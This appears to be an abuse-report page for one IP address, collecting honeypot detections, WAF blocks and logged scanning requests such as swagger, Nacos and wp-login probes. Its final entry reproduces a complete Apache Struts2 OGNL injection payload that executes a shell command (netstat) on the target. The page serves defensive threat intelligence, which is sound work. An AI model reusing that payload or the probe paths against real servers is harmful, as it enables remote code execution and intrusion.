This IP address has been reported a total of
146
times from
28 distinct
sources.
104.207.50.205 was first reported on
, and the most recent report was
.
Old Reports:
The most recent abuse report for this IP address is from
. It is possible that this IP is no longer involved in abusive activities.
Honeypot detection: Elasticsearch unauthorized access / data leak attempt on port 9200. Severity: ME ...
show moreHoneypot detection: Elasticsearch unauthorized access / data leak attempt on port 9200. Severity: MEDIUM. Aaran.cloud
show less
Honeypot detection: Privilege escalation / elevation attempt on port 8080. Severity: CRITICAL. Aaran ...
show moreHoneypot detection: Privilege escalation / elevation attempt on port 8080. Severity: CRITICAL. Aaran.cloud
show less
ThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.50.205
...
show moreThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.50.205
2026-04-19 14:19:24 /docs/appdev/sample/web/WEB-INF/web.xml
show less
(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.50.205 (GB/United Kingdom/-): 1 in the ...
show more(modsec_5015) ModSec 5015: Suspicious User-Agent from 104.207.50.205 (GB/United Kingdom/-): 1 in the last 3600 secs (0-193)
show less
IM360 WAF: RBL block risky actions MV:RBL lookup of 21-03.104.207.50.205.risky-actions.v2.rbl.imunif ...
show moreIM360 WAF: RBL block risky actions MV:RBL lookup of 21-03.104.207.50.205.risky-actions.v2.rbl.imunify.com._v4 succeeded.
show less
ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.50.2 ...
show moreThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.50.205
2026-01-24 16:45:00 /api/swagger.json
2026-01-24 16:44:59 /swagger/docs/v1
2026-01-24 16:44:56 /nacos/v1/auth/users?pageNo=1&pageSize=10
2026-01-24 16:45:01 /v3/api-docs
2026-01-24 16:44:59 /swagger/v1/swagger.json
2026-01-24 16:44:58 /v2/api-docs
2026-01-24 16:44:58 /prod-api/v2/api-docs
show less
Triggered Cloudflare WAF (firewallCustom) from DE.
Action taken: BLOCK
Protocol: HTTP/1.1 (POST meth ...
show moreTriggered Cloudflare WAF (firewallCustom) from DE.
Action taken: BLOCK
Protocol: HTTP/1.1 (POST method)
Endpoint: /wp-login.php
UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203
This report was generated by:
https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB
show less
ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.50.2 ...
show moreThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.50.205
2025-12-14 15:07:45 /
2025-12-14 15:07:46 /?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29,%23res.setCharacterEncoding%28%23parameters.encoding[0]%29,%23w%3d%23res.getWriter%28%29,%23s%3dnew+java.util.Scanner%[email protected]@getRuntime%28%29.exec%28%23parameters.cmd[0]%29.getInputStream%28%29%29.useDelimiter%28%23parameters.pp[0]%29,%23str%3d%23s.hasNext%28%29%3f%23s.next%28%29%3a%23parameters.ppp[0],%23w.print%28%23str%29,%23w.close%28%29,1?%23xx:%23request.toString&cmd=netstat%20-an&pp=\A&ppp=%20&encoding=UTF-8
show less